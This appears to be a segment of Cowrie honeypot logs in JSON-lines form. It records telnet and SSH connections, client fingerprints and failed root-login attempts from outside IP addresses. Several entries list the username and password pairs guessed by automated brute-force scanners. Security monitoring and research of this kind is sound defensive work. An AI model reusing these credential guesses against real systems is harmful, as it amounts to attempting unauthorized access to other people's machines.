{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38336,"dst_ip":"10.17.0.5","dst_port":23,"session":"d40897cafa65","protocol":"telnet","message":"New connection: 152.42.224.71:38336 (10.17.0.5:23) [session: d40897cafa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:58.641815Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38348,"dst_ip":"10.17.0.5","dst_port":23,"session":"5280d506d681","protocol":"telnet","message":"New connection: 152.42.224.71:38348 (10.17.0.5:23) [session: 5280d506d681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:00.642486Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38360,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2cbfd54c79","protocol":"telnet","message":"New connection: 152.42.224.71:38360 (10.17.0.5:23) [session: 6c2cbfd54c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:03.152640Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":60714,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02366e35e67","protocol":"ssh","message":"New connection: 79.117.24.180:60714 (10.17.0.5:22) [session: f02366e35e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:04.465699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:04.469645Z","src_ip":"79.117.24.180","session":"f02366e35e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:04.585647Z","src_ip":"79.117.24.180","session":"f02366e35e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hentai","message":"login attempt [root/hentai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:05.079059Z","src_ip":"79.117.24.180","session":"f02366e35e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:06.198542Z","src_ip":"79.117.24.180","session":"f02366e35e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59874,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ad3c5f1fcd","protocol":"telnet","message":"New connection: 152.42.224.71:59874 (10.17.0.5:23) [session: 41ad3c5f1fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:07.018739Z"}
{"eventid":"cowrie.session.closed","duration":28.02525281906128,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:07.568917Z","src_ip":"152.42.224.71","session":"77178cb50590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.92003560066223,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:08.634152Z","src_ip":"152.42.224.71","session":"036a85bd3105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.72464919090271,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:11.599008Z","src_ip":"152.42.224.71","session":"d718bcafab76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.77508544921875,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:16.307081Z","src_ip":"152.42.224.71","session":"944dbbc46954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.096500635147095,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:17.738201Z","src_ip":"152.42.224.71","session":"d40897cafa65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34886,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df2a4c7c258","protocol":"telnet","message":"New connection: 152.42.224.71:34886 (10.17.0.5:23) [session: 9df2a4c7c258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:18.338243Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34902,"dst_ip":"10.17.0.5","dst_port":23,"session":"02eff51bcd9e","protocol":"telnet","message":"New connection: 152.42.224.71:34902 (10.17.0.5:23) [session: 02eff51bcd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:21.996059Z"}
{"eventid":"cowrie.session.closed","duration":45.017889738082886,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:22.130569Z","src_ip":"152.42.224.71","session":"22c5f3e86eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.26624608039856,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:23.647992Z","src_ip":"152.42.224.71","session":"9452ebb8dd32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":60066,"dst_ip":"10.17.0.5","dst_port":22,"session":"985928e346a6","protocol":"ssh","message":"New connection: 43.156.63.254:60066 (10.17.0.5:22) [session: 985928e346a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:24.253745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:24.258434Z","src_ip":"43.156.63.254","session":"985928e346a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:24.496011Z","src_ip":"43.156.63.254","session":"985928e346a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwas3DcxZ21","message":"login attempt [root/Qwas3DcxZ21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:25.476910Z","src_ip":"43.156.63.254","session":"985928e346a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:26.717887Z","src_ip":"43.156.63.254","session":"985928e346a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38502,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9ef07f19c04","protocol":"ssh","message":"New connection: 80.94.92.184:38502 (10.17.0.5:22) [session: c9ef07f19c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:29.921702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:29.984214Z","src_ip":"80.94.92.184","session":"c9ef07f19c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:30.104327Z","src_ip":"80.94.92.184","session":"c9ef07f19c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:30.888328Z","src_ip":"80.94.92.184","session":"c9ef07f19c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:32.011072Z","src_ip":"80.94.92.184","session":"c9ef07f19c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.30745840072632,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:32.878301Z","src_ip":"152.42.224.71","session":"b4d874bbeaff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40708,"dst_ip":"159.203.135.109","dst_port":22,"session":"425a84422af2","protocol":"ssh","message":"New connection: 103.82.132.16:40708 (159.203.135.109:22) [session: 425a84422af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.687185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.692360Z","src_ip":"103.82.132.16","session":"425a84422af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50224,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2fd6005e823","protocol":"ssh","message":"New connection: 103.77.175.15:50224 (10.17.0.5:22) [session: d2fd6005e823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.920733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.925234Z","src_ip":"103.77.175.15","session":"d2fd6005e823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.958635Z","src_ip":"103.82.132.16","session":"425a84422af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":56714,"dst_ip":"10.17.0.5","dst_port":22,"session":"578434f1bb41","protocol":"ssh","message":"New connection: 43.134.142.250:56714 (10.17.0.5:22) [session: 578434f1bb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.973375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:33.977667Z","src_ip":"43.134.142.250","session":"578434f1bb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:34.183047Z","src_ip":"103.77.175.15","session":"d2fd6005e823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:34.208929Z","src_ip":"43.134.142.250","session":"578434f1bb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tokiohotel","message":"login attempt [root/tokiohotel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:34.761045Z","src_ip":"103.82.132.16","session":"425a84422af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx12345","message":"login attempt [root/qazwsx12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:34.951302Z","src_ip":"103.77.175.15","session":"d2fd6005e823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uucp","message":"login attempt [root/uucp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:35.165595Z","src_ip":"43.134.142.250","session":"578434f1bb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:36.029772Z","src_ip":"103.82.132.16","session":"425a84422af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:36.210088Z","src_ip":"103.77.175.15","session":"d2fd6005e823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:36.399062Z","src_ip":"43.134.142.250","session":"578434f1bb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.420456409454346,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:38.843660Z","src_ip":"152.42.224.71","session":"e906531e2425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":50526,"dst_ip":"10.17.0.5","dst_port":22,"session":"c633f3c42491","protocol":"ssh","message":"New connection: 171.244.37.103:50526 (10.17.0.5:22) [session: c633f3c42491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:40.136331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:40.140995Z","src_ip":"171.244.37.103","session":"c633f3c42491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:40.391403Z","src_ip":"171.244.37.103","session":"c633f3c42491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sparky13","message":"login attempt [root/sparky13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:41.423161Z","src_ip":"171.244.37.103","session":"c633f3c42491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122141838074,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:41.898315Z","src_ip":"152.42.224.71","session":"9b42181a2082","protocol":"telnet"}
